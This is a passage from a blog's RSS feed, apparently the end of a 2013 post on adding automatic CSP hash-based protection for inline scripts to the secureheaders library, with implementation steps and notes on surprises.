  &lt;li&gt;Hook into the framework so that anytime a template is rendered, we take note.&lt;/li&gt;
  &lt;li&gt;Once rendering is done, add the hashes (if any) of all rendered templates to the content security policy.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;automatic-inline-script-csp-protection&quot;&gt;“Automatic inline script CSP protection”&lt;/h2&gt;

&lt;p&gt;To hopefully satisfy this claim, here’s some steps you’d have to take:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Have a task that watches the filesystem for changes to your templates.&lt;/li&gt;
  &lt;li&gt;Update the script hashes that are applied to the given template without having to restart any process.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here’s a (poor quality) screen cast of &lt;a href=&quot;https://github.com/twitter/secureheaders/pull/67&quot;&gt;my PoC branch&lt;/a&gt;:&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Bc2hvziTRxg&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;h2 id=&quot;surprises&quot;&gt;Surprises&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Generating hashes “on deploy” is no good. Tests would break if CSP is enforced and the hashes are outdated.&lt;/li&gt;
  &lt;li&gt;I’m not that great with Regexen. In writing this post, I noticed at least one improvement I can make.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 13 Dec 2013 20:40:49 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/csp-nonce/csp-hash/2013/12/13/automatic-xss-protection-with-csp-no-changes-required.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/csp-nonce/csp-hash/2013/12/13/automatic-xss-protection-with-csp-no-changes-required.html</guid>
        
        
        <category>csp-nonce</category>
        
        <category>csp-hash</category>
        
      </item>
    
  </channel>
</rss>
